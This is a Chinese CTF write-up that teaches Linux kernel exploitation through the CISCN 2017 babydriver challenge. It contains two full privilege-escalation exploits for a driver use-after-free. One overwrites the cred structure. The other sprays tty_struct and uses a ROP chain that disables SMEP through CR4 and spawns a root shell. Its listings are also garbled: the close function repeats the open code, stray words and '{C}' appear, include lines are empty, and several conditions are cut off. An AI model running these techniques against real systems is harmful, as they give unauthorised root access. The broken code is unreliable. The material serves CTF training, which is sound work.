一道简单内核题入门内核利用

对于学过用户空间pwn的同学来说,内核一直是向往但是却不知道如何下手的一个地方,最近的CISCN比赛中出现了一道内核的基础题目,我认为是一道非常适合内核入门的一道题目,所以我就这道题目,通过自己的分析,希望让大家学会如何去分析一道内核的题目,如何去完成内核的题目,如何通过阅读linux内核源码在内核漏洞利用中帮助自己理解细节,学会分析。

调试环境

内核的知识很多,我没有办法将所有知识都阐述详细,我在这里默认大家已经知道了以下内容的基本概念:

内核

特权等级

内核空间与用户空间

系统调用

slab/slub分配器

内核模块/驱动

这些都是内核的基础知识,我在这里不做详细的阐述,大家可以自己去找找资料,我在这里主要将这些基础概念给大家一个直观的印象。

1. 内核

内核是操作系统的核心,目的是为上层提供一个接口,和CPU进行交互,方式就是通过设置各种CPU所需要的结构,让CPU能够提供相应的功能,比如设置虚拟内存所需要的一些结构,使得CPU能够顺利识别,从而提供虚拟内存功能。和操作系统进行交互可以通过系统调用等方式实现。

2. 特权等级

CPU将指令分为各种特权等级,特权指令就是必须在特定特权下才能够执行的指令,否则会出现错误,intel将特权等级分为ring0到ring3,其中ring3特权最低,ring0最高,linux只使用了ring0和ring3,ring0为内核运行的等级,ring3为用户运行的等级。

3. 内核空间与用户空间

内核空间就是操作系统自己运行的空间,运行在ring0特权等级,拥有自己的空间,位于内存的高地址,而用户空间则是我们平时应用程序运行的空间,运行在ring3特权等级,使用较低地址。内核拥有自己的栈,和用户空间的栈并不共用。

4. 系统调用

系统调用是linux内核向用户空间提供功能的方式,通过调用特定的系统调用,用户空间可以获取内核提供的功能。比如read函数事实上就是一个系统调用,通过传入特定的参数,内核可以读取用户输入,并且输入到buf里。

通过使用系统调用,用户空间用户程序将会转入内核空间去执行,在执行完之后通过特殊方式回到用户空间,中间会涉及到用户空间与内核空间的切换。大致流程如下:

1) 进入

i. 通过swapgs切换GS段寄存器,是将GS寄存器值和一个特定位置的值进行交换,目的是保存GS值,同时将该位置的值作为内核执行时的GS值使用。

ii. 将当前栈顶(用户空间栈顶)记录在CPU独占变量区域里,将CPU独占区域里记录的内核栈顶放入rsp(esp)。

iii. 通过push保存各寄存器值,代码如下:

http://elixir.free-electrons.com/linux/v4.12/source/arch/x86/entry/entry_64.S

1. ENTRY(entry_SYSCALL_64)

2. /* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */

3. SWAPGS_UNSAFE_STACK

4.

5. /* 保存栈值,并设置内核栈 */

6. movq %rsp, PER_CPU_VAR(rsp_scratch)

7. movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp

8.

9.

10./* 通过push保存寄存器值,形成一个pt_regs结构 */

11./* Construct struct pt_regs on stack */

12.pushq $__USER_DS /* pt_regs->ss */

13.pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */

14.pushq %r11 /* pt_regs->flags */

15.pushq $__USER_CS /* pt_regs->cs */

16.pushq %rcx /* pt_regs->ip */

17.pushq %rax /* pt_regs->orig_ax */

18.pushq %rdi /* pt_regs->di */

19.pushq %rsi /* pt_regs->si */

20.pushq %rdx /* pt_regs->dx */

21.pushq %rcx tuichu /* pt_regs->cx */

22.pushq $-ENOSYS /* pt_regs->ax */

23.pushq %r8 /* pt_regs->r8 */

24.pushq %r9 /* pt_regs->r9 */

25.pushq %r10 /* pt_regs->r10 */

26.pushq %r11 /* pt_regs->r11 */

27.sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */

iv. 通过汇编指令判断是否是x32_abi(暂时可以忽略这个内容)。

v. 通过系统调用号,跳到全局变量sys_call_table相应位置继续执行相应系统调用。

2) 退出

i. 通过swapgs恢复GS值。

ii. 通过sysretq或者iretq恢复到用户空间进行执行,如果使用Iretq还需要给出用户空间的一些信息,比如CS值,eflags标志寄存器值,用户栈顶位置等等信息。

5. slab/slub分配器

这是一个比较大的内容,内核中也需要使用到内存的分配,类似于用户空间malloc的功能。在内核中没有libc,所以没有malloc,但是需要这样的功能,所以有kmalloc,其实现是使用的slab/slub分配器,现在多见的是slub分配器。这个分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,里边通过保存空对象,部分使用的对象和完全使用了对象来管理,对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,一个cache对应一个2的幂大小的一组内存对象。

slab分配器严格按照cache去区分,不同cache的无法分配在一页内,slub分配器则较为宽松,不同cache如果分配相同大小,可能会在一页内,这个点很重要,之后的exp会用到。

6. 内核模块/驱动

这是linux拓展内核功能的一个功能,通过向内核插入内核模块可以动态的加载一些驱动代码,用来负责和硬件进行交互,或者在内核层提供一些软件功能。内核模块运行在内核空间,可以通过设备文件来进行交互,比如/dev/目录下的文件很多就是设备文件,打开设备文件,关闭设备文件等等就是使用open、close函数,这些函数在内核模块里进行定义,然后在加载的时候按照一定的规则进行设置,所以通过这些函数可以调用到内核里的模块的相应设置好的函数,最后在内核完成一系列操作,为用户空间提供功能。

SMEP是我需要稍微提一下的,这是一个内核的保护机制,目的是避免ret2usr利用方式,ret2usr即从内核空间劫持控制流,使得控制流回到用户空间,以ring 0执行用户空间代码来进行提权。开启了SMEP的时候,CPU将会阻止在ring 0执行用户空间代码。这是一个CPU功能,由CPU的CR4寄存器管理,用一个位来标志是否开启SMEP保护。不过,SMEP保护并没有阻止直接从用户空间获取数据,只是阻止执行用户空间代码。

题目

好了基础基本就提到这里,让我们来看一道题,这道题是ciscn-2017的babydriver,题目难度不大,很适合入门,让我们可以很直观的感受到完成一次内核pwn的整个过程。

1. 题目分析

题目给出了3个文件,一个rootfs.cpio一个bzImage和一个boot.sh,boot.sh内容如下:

1.#!/bin/bash

2.

3.qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

很显然我们需要安装qemu,这个就自己去安装啦。

然后就是一个对qemu的调用,kernel使用了bzImage,然后用rootfs.cpio作为initrd,其实就是bzImage是内核的映像,然后rootfs.cpio是根文件的映像。在远程,也就是使用这个boot.sh打开的qemu环境,我们能接触到的就是在这个qemu环境里。

qemu环境里有flag,可是我们没有权限读取,必须是root才有权限读取,显然我们需要进行提权。

通过查看/lib/modules/目录,我们发现有一个babydriver.ko,通过查看/proc/modules我们可以看到babydriver.ko作为内核模块已经加载进了内核里,我们还可以看到其加载的地址,很好!

接下来的任务就很显然了,我们需要看懂babydriver.ko干了什么。

init和exit函数没有什么太大的意思,基本上就是设置参数,初始化设备等等工作,我们的重点是几个函数。不过需要注意,init中设置了/dev/babydev作为设备文件。

open函数:

1. __int64 __fastcall babyopen(inode *inode, file *filp,__int64 a3, __int64 a4)

2. {

3. char *v4; // rax@1

4. __int64 v5; // rdx@1

5.

6. _fentry__(inode, filp, a3, a4);

7. LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6), 0x24000C0LL, 64LL);

8. babydev_struct.device_buf = v4;

9. babydev_struct.device_buf_len = 64LL;

10. printk("device openn", 0x24000C0LL, v5);

11. return 0LL;

12.}

close函数:

1.__int64 __fastcall babyopen(inode *inode, file *filp, __int64a3, __int64 a4)

2. {

3. char *v4; // rax@1

4. __int64 v5; // rdx@1

5.

6. _fentry__(inode, filp, a3, a4);

7. LODWORD(v4) = kmem_cache_alloc_trace(*((_QWORD*)&kmalloc_caches + 6), 0x24000C0LL, 64LL);

8. babydev_struct.device_buf = v4;

9. babydev_struct.device_buf_len = 64LL;

10. printk("device openn", 0x24000C0LL, v5);

11. return 0LL;

12.}

ioctl函数:

1. __int64 __fastcall babyioctl(file *filp, __int64 command, unsigned __int64 arg, __int64 a4)

2. {

3. size_t v4; // rdx@1

4. size_t v5; // rbx@1

5. char *v6; // rax@2

6. __int64 v7; // rdx@2

7. __int64 result; // rax@2

8.

9. _fentry__(filp, command, arg, a4);

10. v5 = v4;silu

11. if ( (_DWORD)command == 0x10001 )

12. {

13. kfree(babydev_struct.device_buf);

14. LODWORD(v6) = _kmalloc(v5, 0x24000C0LL);

15. babydev_struct.device_buf = v6;

16. babydev_struct.device_buf_len = v5;

17. printk("alloc donen", 0x24000C0LL, v7);

18. result = 0LL;

19. }

20. else

21. {

22. printk(&default_arg_is_format_str, v4, v4);

23. result = -22LL;

24. }

25. return result;

26.}

write函数:

1. ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)

2. {

3. unsigned __int64 copy_len; // rdx@1

4. ssize_t result; // rax@2

5. ssize_t v6; // rbx@3

6.

7. _fentry__(filp, buffer, length, offset);

8. if ( babydev_struct.device_buf )

9. {

10. result = -2LL;

11. if ( babydev_struct.device_buf_len > copy_len )

12. {

13. v6 = copy_len;

14. copy_from_user(babydev_struct.device_buf, buffer, copy_len);

15. result = v6;

16. }

17. }

18. else

19. {

20. result = -1LL;

21. }

22. return result;

23.}

read函数:

1. ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)

2. {

3. unsigned __int64 copy_len; // rdx@1

4. ssize_t result; // rax@2

5. ssize_t v6; // rbx@3

6.

7. _fentry__(filp, buffer, length, offset);

8. if ( babydev_struct.device_buf )

9. {

10. result = -2LL;

11. if ( babydev_struct.device_buf_len > copy_len )

12. {

13. v6 = copy_len;

14. copy_to_user(buffer, babydev_struct.device_buf, copy_len);

15. result = v6;

16. }

17. }

18. else

19. {

20. result = -1LL;

21. }

22. return result;

23.}

源码非常简单,大概就是有一个struct,其中保存了一个buf和一个size,buf在open时通过kmem_cache_alloc进行分配,这个分配其实是和kmalloc一个原理,这里我是通过查看源码发现的,具体查看的源码如下:

http://elixir.free-electrons.com/linux/v4.12/source/include/linux/slab.h#L480

1. static __always_inline void *kmalloc(size_t size, gfp_t flags)

2. {

3. if (__builtin_constant_p(size))

4. {

5. if (size > KMALLOC_MAX_CACHE_SIZE)

6. return kmalloc_large(size, flags);

7. #ifndef CONFIG_SLOB

8. if (!(flags & GFP_DMA))

9. {

10. int index = kmalloc_index(size);

11.

12. if (!index)

13. return ZERO_SIZE_PTR;

14.

15. return kmem_cache_alloc_trace(kmalloc_caches[index], flags, size);

16. }

17.#endif

18. }

19. return __kmalloc(size, flags);

20.}

ifndef 是满足的,因为我们可以默认没有使用slob(猜的,因为大多数时候都是slub和slab,其中又以slub居多),所以return kmem_cache_alloc_trace其实就是open时候调用的,这里是因为常数时候编译器做了一个优化,所以看起来和kmalloc好像不太一样。

好了,open的时候kmalloc了一个大小为64的空间,然后size设置为64,release的时候将会释放这个空间。read和write都会先检查buf指针是不是为NULL,不为NULL再检查大小是否满足要求,之后进行read和write操作,也就是向用户空间写或者读。

ioctl比较特殊,首先判断command是不是为0x10001,如果满足,将会释放之前的buf,新分配一个用户决定大小的空间,并且设置为size。

功能基本上就讲完了,乍一看好像没有漏洞,那是因为用户空间pwn的思维在限制你使用单线程的思维去考虑。如果是多线程呢?

我们假设我们打开了两个设备文件,也就是调用了两次open,第一次分配了,第二次其实将会覆盖第一次分配的buf,因为是全局的。有了这个思维,剩下的就好想了,如果我们release了第一个,第二个其实就已经是被释放过的了,这样,就造成了一个UAF了。

接下来我们就来讨论如何进行提权了,注意,题目是开启了SMEP保护的,从boot.sh中可以看出来。

2. 题目思路1.0

通过我们对slub分配器的了解,相同大小的会被放在一块,现在我们来想想,一个进程的权限,是由什么定的?相信你们都知道,uid,uid又保存在哪儿呢?答案是cred结构。cred结构在每一个进程中都有一个,并且保存了该进程的权限信息,如果我们能够修改到cred信息,那么事情就很简单了。

于是思路是,我们有了一个UAF,使某个进程的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,万事大吉!

问题是,如何控制cred结构?别忘了,**相同大小的会被放在一块**,我们首先通过ioctl改变大小,使得和cred结构大小一样,接下来只需要在触发UAF的时候新建一个cred结构,新建的结构就很有可能被放进这个UAF的空间里,创建方法嘛,每一个进程都有,那么,新建一个进程不就好了?新建进程嘛,fork就解决了。

好了,只剩下一个问题,大小是多少?

方法一:查看源码。因为配置比较多,效率比较低,还容易错。

方法二:编译一个带符号的内核,直接查看。

这里怎么使用方法二就是另外一篇文章的内容了,大概就是编译一个源码,然后去看符号就行了。因为一般这种内核也就是默认编译,所以相对也会比较准确的。

如果查看源码,去掉debug选项,也可以计算出来,大小是0xa8。源码如下:

http://elixir.free-electrons.com/linux/v4.4.72/source/include/linux/cred.h#L118

1. struct cred {

2. atomic_t usage;

3. #ifdef CONFIG_DEBUG_CREDENTIALS

4. atomic_t subscribers; /* number of processes subscribed */

5. void *put_addr;

6. unsigned magic;

7. #define CRED_MAGIC 0x43736564

8. #define CRED_MAGIC_DEAD 0x44656144

9. #endif

10. kuid_t uid; /* real UID of the task */

11. kgid_t gid; /* real GID of the task */

12. kuid_t suid; /* saved UID of the task */

13. kgid_t sgid; /* saved GID of the task */

14. kuid_t euid; /* effective UID of the task */

15. kgid_t egid; /* effective GID of the task */

16. kuid_t fsuid; /* UID for VFS ops */

17. kgid_t fsgid; /* GID for VFS ops */

18. unsigned securebits; /* SUID-less security management */

19. kernel_cap_t cap_inheritable; /* caps our children can inherit */

20. kernel_cap_t cap_permitted; /* caps we're permitted */

21. kernel_cap_t cap_effective; /* caps we can actually use */

22. kernel_cap_t cap_bset; /* capability bounding set */

23. kernel_cap_t cap_ambient; /* Ambient capability set */

24.#ifdef CONFIG_KEYS

25. unsigned char jit_keyring; /* default keyring to attach requested keys to */

26. struct key __rcu *session_keyring; /* keyring inherited over fork */

27. struct key *process_keyring; /* keyring private to this process */

28. struct key *thread_keyring; /* keyring private to this thread */

29. struct key *request_key_auth; /* assumed request_key authority */

30.#endif

{C}31.#ifdef CONFIG_SECURITY

32. void *security; /* subjective LSM security */

33.#endif

34. struct user_struct *user; /* real user ID subscription */

35. struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */

36. struct group_info *group_info; /* supplementary groups for euid/fsgid */

37. struct rcu_head rcu; /* RCU deletion hook */

38.};

对于不是很明确的type可以直接查找reference去查看typedef。同时通过查看源码,我们还轻松的找到了uid等等各种id的位置。那么直接把该改的都改为0就可以了。

方法就很简单了,看看exp吧。

1. #include

2. #include

3. #include

4. #include

5. #include

6. #include

7. #include

8. #include

9. #include

10.#define CRED_SIZE 168

11.#define DEV_NAME "/dev/babydev"

12.char buf[100];

13.int main()

14.{

15. int fd1, fd2, ret;

16. char zero_buf[100];

17. memset(zero_buf, 0, sizeof(char) * 100);

18. fd1 = open(DEV_NAME, O_RDWR);

19. fd2 = open(DEV_NAME, O_RDWR);

20.

21. ret = ioctl(fd1, 0x10001, CRED_SIZE);

22.

23. close(fd1);

24.

25. int now_uid = 1000;//当前uid为1000

26. int pid = fork();

27. if (pid

28. {

29. perror("fork error");

30. return 0;

31. }

32.

33. if (!pid)

34. {

35. //写入28个0,一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了。

36. ret = write(fd2, zero_buf, 28);

37. now_uid = getuid();

38. if (!now_uid)

39. {

40. printf("get root donen");

41. // 权限修改完毕,启动一个shell,就是root的shell了。

42. system("/bin/sh");

43. exit(0);

44. }

45. else

46. {

47. puts("failed?");

48. exit(0);

49. }

50. }

51. else

52. {

53. wait(NULL);

54. }

55. close(fd2);

56. return 0;

57.}

3. 题目思路2.0

好了,第一种方法只是个开胃菜,非常简单非常粗暴,现在让我们来看看更麻烦的方法,使用tty_struct。关于tty的知识我在这里不想做过多解释,大家可以自行查找资料。反正tty也是一种设备,通过'/dev/ptmx'可以打开这个设备,我们要做的,就是去修改这个设备的函数指针,从而使得对这个设备的操作变为我们所能控制的,也就是说,我们控制了内核空间的执行流,完美!那么又该干点什么呢?

由于开启了smep,我们不能直接返回用户空间然后以ring0的身份调用函数。如果可以,那么只需要调用commit_creds(prepare_kernel_cred(NULL))就可以设置为root身份,可惜我们还有更多的工作要做。

既然问题是开启了smep,那么简单,我们反正都控制了执行流,把它关掉就好了。关掉的方法就是通过写入cr4寄存器,将smep位关掉就好了,关掉smep,我们就可以回去执行提权的函数啦。

可是光是控制一次执行流是没办法做这么多工作的,而且我们也没法执行用户空间指定的代码,方法嘛,也是我们常见的方法,ROP。

通过在内核空间进行ROP,执行内核代码,关掉smep,之后回用户空间提权,然后就可以打开shell啦。内核的ROP其实和用户空间ROP相差无几,不过还是有几个细节内容需要考虑,比如,栈在哪儿?没有栈咋ROP呢?没有栈,我们就自己造栈嘛,通过一个gadget,比如xchg eax, esp,注意这里是eax和esp,32位的,就可以做到了。原理就是由于在执行那个ioctl的时候eax正好是要执行的指令的地址,换句话说,就是gadget的地址,而eax截取了低32位,如果是整个64位,rax必然是一个内核空间的地址,可是低32位,就落到用户空间了。

于是我们mmap这个位置,xchg eax, esp,使得esp变为这个值,这样栈就落到了用户空间以内。虽然没法执行代码,但是可以获取数据啊,于是我们就从用户空间获取数据来ret,然后执行内核空间的代码。

好了,几个难点如下:

1) 如何获取控制流?已解决,通过UAF使得tty_struct覆盖我们释放的位置,我们可以控制tty_struct,然后改写它的操作即可。

2) 如何设定栈?已解决,xchg eax, esp。

3) 如何关掉smep?已解决,通过ROP调用内核空间的gadget写入关掉smep的新cr4值到cr4寄存器里。

4) 如何获取权限?已解决,在关掉smep之后,用户空间调用commit_creds(prepare_kernel_creds(0))即可,这两个函数都是位于内核空间的,可是只要我们知道他们的符号位置,就可以调用内核函数,因为回到用户空间之后,我们的特权还是ring 0的,只是内存位置回来了而已。

5) 如何获取shell?还需要解决?直接system("/bin/sh");不就完了,用户空间的代码可是我们自己写的啊!

6) 实际问题:如何写ROP链?

剩下一个实际问题需要我们解决了,主要是,怎么找gadget?

bzImage实际上是已经被压缩过得vmlinuz,我们需要通过linux源码里scripts目录下的extract-vmlinux来extract,之后直接通过ropper或者ROPGadgets获取gadget就可以了。

接下来就是要找哪些gadget的问题了,根据之前的问题,我们需要如下的gadget:

1) xchg eax, esp来设置栈,用这个gadget覆盖ioctl操作函数嘛。

2) 写入cr4,来关闭smep。

3) swapgs,回到用户空间之前的准备。

4) iretq,用来回到用户空间特权级方便打开shell。

5) commit_creds

6) prepare_kernel_cred

7) 打开shell。

前四个直接在刚才生成的gadget中去找就可以了,后三个中的4和5,需要内核符号,在/proc/kallsyms文件可以读取到内核所有符号的地址,所以解决了,最后一个打开shell,就是用户空间的地址,好了,解决完毕。

于是任务就简单了,让我们来看看exp:

1. #include

2. #include

3. #include

4. #include

{C}5. #include

6. #include

7. #include

8. #include

9. #include

10.#include

11.#include

12.#include

13.#include

14.

15.#define TTY_STRUCT_SIZE 0x2e0

16.#define SPRAY_ALLOC_TIMES 0x100

17.

18.int spray_fd[0x100];

19.

20./*

21.

22.tty_struct:

23. int magic; // 4

24. struct kref kref; // 4

25. struct device *dev; // 8

26. struct tty_driver *driver; // 8

27. const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24

28. [...]

29.

30.*/

31.

32.struct tty_operations {

33. struct tty_struct * (*lookup)(struct tty_driver *driver,

34. struct file *filp, int idx);

35. int (*install)(struct tty_driver *driver, struct tty_struct *tty);

36. void (*remove)(struct tty_driver *driver, struct tty_struct *tty);

37. int (*open)(struct tty_struct * tty, struct file * filp);

38. void (*close)(struct tty_struct * tty, struct file * filp);

39. void (*shutdown)(struct tty_struct *tty);

40. void (*cleanup)(struct tty_struct *tty);

41. int (*write)(struct tty_struct * tty,

42. const unsigned char *buf, int count);

43. int (*put_char)(struct tty_struct *tty, unsigned char ch);

44. void (*flush_chars)(struct tty_struct *tty);

45. int (*write_room)(struct tty_struct *tty);

46. int (*chars_in_buffer)(struct tty_struct *tty);

47. int (*ioctl)(struct tty_struct *tty,

48. unsigned int cmd, unsigned long arg);

49. long (*compat_ioctl)(struct tty_struct *tty,

50. unsigned int cmd, unsigned long arg);

51. void (*set_termios)(struct tty_struct *tty, struct ktermios * old);

52. void (*throttle)(struct tty_struct * tty);

53. void (*unthrottle)(struct tty_struct * tty);

54. void (*stop)(struct tty_struct *tty);

55. void (*start)(struct tty_struct *tty);

56. void (*hangup)(struct tty_struct *tty);

57. int (*break_ctl)(struct tty_struct *tty, int state);

58. void (*flush_buffer)(struct tty_struct *tty);

59. void (*set_ldisc)(struct tty_struct *tty);

60. void (*wait_until_sent)(struct tty_struct *tty, int timeout);

61. void (*send_xchar)(struct tty_struct *tty, char ch);

62. int (*tiocmget)(struct tty_struct *tty);

63. int (*tiocmset)(struct tty_struct *tty,

64. unsigned int set, unsigned int clear);

65. int (*resize)(struct tty_struct *tty, struct winsize *ws);

66. int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);

67. int (*get_icount)(struct tty_struct *tty,

68. struct serial_icounter_struct *icount);

69. const struct file_operations *proc_fops;

70.};

71.

72.typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);

73.typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_func)(unsigned long cred);

74.

75./* Gadgets */

76.commit_creds_func commit_creds = (commit_creds_func) 0xffffffff810a1420;

77.prepare_kernel_cred_func prepare_kernel_cred = (prepare_kernel_cred_func) 0xffffffff810a1810;

78.unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;

79.unsigned long xchgeaxesp = 0xFFFFFFFF81007808;

80.unsigned long poprdiret = 0xFFFFFFFF813E7D6F;

81.//unsigned long iretq = 0xFFFFFFFF8181A797;

82.unsigned long iretq = 0xffffffff814e35ef;

83.unsigned long swapgs = 0xFFFFFFFF81063694;

84.

85./* status */

86.unsigned long user_cs, user_ss, user_eflags;

87.void save_stats() {

88. asm(

89. "movq %%cs, %0n"

90. "movq %%ss, %1n"

91. "pushfqn"

92. "popq %2n"

93. :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags)

94. :

95. : "memory"

96. );

97.}

98.

99.void get_shell() {

100. // char *shell_str = "/bin/sh";

101. // char *args[] = {shell_str, NULL};

102. // execve(shell_str, args, NULL);

103. system("/bin/sh");

104.}

105.

106.void shellcode() {

107. commit_creds(prepare_kernel_cred(0));

108.}

109.

110.void exploit() {

111. char *buf = (char*) malloc(0x1000);

112. char *fake_file_operations = (char*) calloc(0x1000, 1); // big enough to be file_operations

113. struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));

114.

115. save_stats();

116.

117. memset(fake_tty_operations, 0, sizeof(struct tty_operations));

118. fake_tty_operations->proc_fops = &fake_file_operations;

119. fake_tty_operations->ioctl = (unsigned long)xchgeaxesp;

120.

121. int fd1 = open("/dev/babydev", O_RDWR);

122. int fd2 = open("/dev/babydev", O_RDWR);

123. int fd;

124. //ioctl(fd2, 0x10001, 0xa8); // the same'11 as cred struct size

125. ioctl(fd2, 0x10001, TTY_STRUCT_SIZE);

126. write(fd2, "hello world", strlen("hello world"));

127. close(fd1);

128. fd = fd2;

129.

130. // spray tty

131. puts("[+] Spraying buffer with tty_struct");

132. for (int i = 0; i

133. spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);

134. if (spray_fd[i]

135. perror("open tty");

136. }

137. }

138.

139. // now we have a tty_struct in our buffer

140. puts("[+] Reading buffer content from kernel buffer");

141. long size = read(fd, buf, 32);

142. if (size

143. puts("[-] Reading not complete!");

144. printf("[-] Only %ld bytes read.n", size);

145. }

146. puts("[+] Detecting buffer content type");

147. if (buf[0] != 0x01 || buf[1] != 0x54) {

148. puts("[-] tty_struct spray failed");

149. printf("[-] We should have 0x01 and 0x54, instead we got %02x %02xn", buf[0], buf[1]);

150. puts("[-] Exiting...");

151. exit(-1);

152. }

153.

154. puts("[+] Spray complete. Modifying function pointer");

155. unsigned long *temp = (unsigned long*)&buf[24];

156. *temp = (unsigned long)fake_tty_operations;

157.

158. puts("[+] Preparing ROP chain");

159. unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;

160. unsigned long base = lower_address & ~0xfff;

161. printf("[+] Base address is %lxn", base);

162. if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {

163. perror("mmap");

164. exit(1);

165. }

166.

167. unsigned long rop_chain[] = {

168. poprdiret,

169. 0x6f0,

170. native_write_cr4,

171. (unsigned long)shellcode,

172. swapgs,

173. base,

174. iretq,

175. (unsigned long)get_shell,

176. user_cs,

177. user_eflags,

178. base + 0x10000,

179. user_ss

180. };

181. memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));

182.

183. puts("[+] Writing function pointer to the driver");

184. long len = write(fd, buf, 32);

185. if (len

186. perror("write");

187. exit(1);

188. }

189.

190. puts("[+] Triggering");

191. for (int i = 0;i

192. ioctl(spray_fd[i], 0, 0); //FFFFFFFF814D8AED call rax

193. }

194.

195.}

196.

197.int main() {

198. exploit();

199. return 0;

200.}

其中,tty_struct和tty_operations都是从源码里找到的结构,不太需要解释,file_operations的存在主要是给他一个有效的指针,避免一些可能出现的错误,然后save_state函数用来保存用户空间的cs、eflags、ss的值,在iretq的时候,需要提供rip,cs,eflags,用户栈位置,ss值,所以我们要提前保存好备用。

通过打开/dev/ptmx设备,我们就新建了tty_struct。

通过计算tty_struct的大小,提前使用ioctl将buf的大小设置为一样的大小,之后新建tty_struct的时候,tty_struct就会落在这个buf里。

之后我们通过修改tty_struct的tty_operations,设置为我们自己的tty_operations即可,我们自己的tty_operations再修改ioctl为xchg esp, eax来使得rsp指向用户空间。

而这里的位置我们提前mmap,放入rop_chain的内容,这样xchg之后rsp就指向了rop_chain开始的位置,进入了rop流程啦,最后rop结束,执行完毕,打开了root shell,提权成功!

总结

通过这道题目,我们大致了解了内核ctf题目的一个流程,还学习了利用tty_struct配合rop绕过smep进行利用的一个手法,当然,还学习了直接通过cred结构进行利用的手法,以及,我们知道了内核的漏洞和用户空间的不同之处,要按多线程的思路去考虑。

我觉得最重要的是,通过这篇文章,这道题目,我们知道了内核和用户空间的差异,以及怎么样去完成一个内核利用,和最最重要的,在不明白的时候,看!源!码! linux是个开源的操作系统,一定要利用好开源的优势,不懂的时候多去看看源码,一切都会简单许多。